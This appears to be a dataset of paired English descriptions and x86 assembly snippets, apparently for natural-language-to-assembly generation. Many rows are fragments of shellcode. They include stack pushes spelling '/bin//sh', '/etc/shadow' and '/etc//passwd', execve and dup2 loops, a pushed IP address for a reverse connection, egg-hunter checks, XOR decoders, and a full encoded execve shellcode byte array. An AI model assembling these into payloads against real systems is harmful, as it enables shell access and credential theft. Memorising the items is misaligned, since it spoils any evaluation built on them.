intent
stringlengths
4
313
snippet
stringlengths
2
271
exchange the contents of the ebx register with the contents of the eax register
xchg ebx, eax
jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register
cmp BYTE al, 2 \n je do_inject
move 0x1 into ebx
mov ebx, 0x1
move eax into edx
mov edx, eax
move the value 0x735f6176 into the double word starting at the address [esp-0xc]
mov dword [esp-0xc], 0x735f6176
move starting address of array to ecx
mov ecx, offset array
increment the count variable
inc [count]
put the syscall 0x1c into the eax register
push byte 0x1c \n pop eax
add the value 1 into the ecx register
add ecx, 1
load the effective address [ebp+39] into ebx
lea ebx, [ebp+39]
decrement the ecx register and jump to the main_inc label if the contents of the ecx register is not zero else move the contents of the esp register into the ebx register
loop main_inc \n mov ebx, esp
add 0x3 to the contents in al and save the result in al
add al, 0x3
pop the value on the stack back into eax
pop eax
define main_loop label
main_loop:
define a string db and initialize to 'hello world!'
contents db 'hello world!', 0h
make room on the stack for local variable
sub esp, 4
jump to the label exeunt if the contents of the ax register is not zero else jump to the label carryon
test ax, ax \n jnz exeunt \n jmp carryon
move 077o into cl
mov cl, 077o
push $0x68732f2f onto the stack
pushl $0x68732f2f
jump to connec
jmp connec
move write_syscall into al
mov al, write_syscall
left shift the contents of eax 16 bits
shl eax, 16
push ebx to the stack
push ebx
push 0x782f6e69 onto the stack
push 0x782f6e69
if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address then jump to the _next label else jump to the eax register
cmp dword [eax-4], egg1 \n jne _next \n jmp eax
jump short to inc_dec
jmp short inc_dec
if the contents of the eax register is equal to the contents of the ebx register then jump to the all label
cmp eax, ebx \n je all
add 4 to eax
add eax, 4
read
mov eax, 3
perform a logical xor operation between eax and 0x7575
xor eax, 0x7575
jump to the _next label if the operands of the above comparison are not equals
jne _next
getpgrp
mov eax, 65
if the contents of the eax register is equal to the contents of the ebx register then jump to the exit label
cmp eax, ebx \n je exit
move eax into ecx
mov ecx, eax
execve
mov eax, 11
subtract 0x04baca01 from the contents in ecx and save the result in ecx
sub ecx, 0x04baca01
jump to the carryon label
jmp carryon
push the 0x68732f6e onto the stack
push 0x68732f6e
move zero_reg into ebx
mov ebx, zero_reg
swap the values of esi and eax
xchg esi, eax
move the byte in esi into al
mov al, byte [esi]
push the byte 0x17 onto the stack
push byte 0x17
declare the decoder label
decoder:
system call getpgrp
mov eax, 65
move the address of msg1 into eax
mov eax, msg1
define decoder function
decoder:
push 0xb onto the stack
push 0xb
load the effective address of the result of the operation [zero_reg+117] into the ecx register
lea ecx, [zero_reg+117]
compare eax with doubleword at edi and set status flags
scasd
zero out the ebx register and jump to the exit label if the contents of the eax register is not equal to the contents of the ebx register
xor ebx, ebx \n cmp eax, ebx \n jne exit
subtract 0x41 from the al register
sub al, 0x41
multiply ebx by 2 using left shift
shl ebx, 1
restore esi from the value we pushed onto the stack at the start
pop esi
decrement the contents of cl
dec cl
perform logical or between the cx register and 0xfff
or cx, 0xfff
move 0x12 into bh
mov bh, 0x12
invoke sys_creat
mov eax, 8
jump to the label l1 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register else move the value 0x39 to the al register
cmp dl, cl \n jb l1 \n mov al, 0x39
subtract 8 from the contents of eax register and save the result in eax
sub eax, 8
push 0x2f3a746f onto the stack
push 0x2f3a746f
move 0x16c into ax
mov ax, 0x16c
perform a bitwise and of the contents of ax and the contents of ax
test ax, ax
perform or operation between al and bl registers
or al, bl
jump to shellcode
jmp shellcode
move 0x3f into the byte at address al
mov byte al, 0x3f
swap the values of edi and eax registers
xchg edi, eax
add 0xa to the al register
add al, 0xa
add one to the doubleword integer stored at memory location tmp
inc dword [tmp]
define message as array of bytes and initialize it to 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
message: db 0xeb,0x25,0x5e,0x89,0xf7,0x31,0xc0,0x50,0x89,0xe2,0x50,0x83,0xc4,0x03,0x8d,0x76,0x04,0x33,0x06,0x50,0x31,0xc0,0x33,0x07,0x50,0x89,0xe3,0x31,0xc0,0x50,0x8d,0x3b,0x57,0x89,0xe1,0xb0,0x0b,0xcd,0x80,0xe8,0xd6,0xff,0xff,0xff,0x2f,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
load the effective address of the operation [bp+di+0x32] into the cx register
lea cx, [bp+di+0x32]
move n_src to eax
mov eax, n_src
move eax into the dword at address [esi + 12]
mov dword [esi + 12], eax
push the value 0x6168732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
push 0x6168732f \n push 0x6374652f \n mov ebx, esp
decrement the contents of the cl register and jump to the dup2 label if the result is not negative
dec cl \n jns dup2
push the value 0x61702f2f and the value 0x6374652f onto the stack and point the esi register to the stack register
push 0x61702f2f \n push 0x6374652f \n mov esi, esp
jump to ecx
jmp ecx
add 0x30 to esi
add esi, 0x30
push 0x8501a8c0 onto the stack
push 0x8501a8c0
specify sys_read call
mov eax, 3
move the contents of dl into the byte at the memory location specified by the operation [esi+1]
mov byte [esi + 1], dl
decrement the byte at the address dl by one
dec byte dl
push the byte 0x02 onto the stack
push byte 0x02
push the 0x74652f2f onto the stack
push 0x74652f2f
push 0x78 onto the stack
push 0x78
decrement ebx
dec ebx
define here label
here:
if the contents of the eax register is equal to the contents of the ebx register then jump to the all label else zero out the eax register
cmp eax, ebx \n je all \n xor eax, eax
jump to the label _recv_http_request if the contents of the eax register is not zero else subtract the value 0x6 from the contents of the ecx register
test eax, eax \n jnz _recv_http_request \n sub ecx, 0x6
jump short to the label socket if the contents of the eax register is negative
test eax, eax \n js short socket
push the dword 0x7461632f onto the stack
push dword 0x7461632f
push the double word 0x2335738c onto the stack
push dword 0x2335738c
define the _load_data label
_load_data:
move the byte at the address [esi] into cl
mov cl, byte [esi]
subtract 0xffffffdf from edi
sub edi, 0xffffffdf
define word2 signed word and initialize it to -32768
word2 sword –32768
push the byte 0x04 onto the stack
push byte 0x04
push 0x66 onto the stack
push 0x66
jump to the label _convert if the contents of the eax register is not zero
test eax, eax \n jnz _convert
jump to the memory address 0xff if the unsigned contents of the cl register is lower than the unsigned value 0x11 else add the 0x5 value to the dl register
cmp cl, 0x11 \n jb 0xff \n add dl, 0x5
if not zero jump to loc_4010e5
jnz short loc_4010e5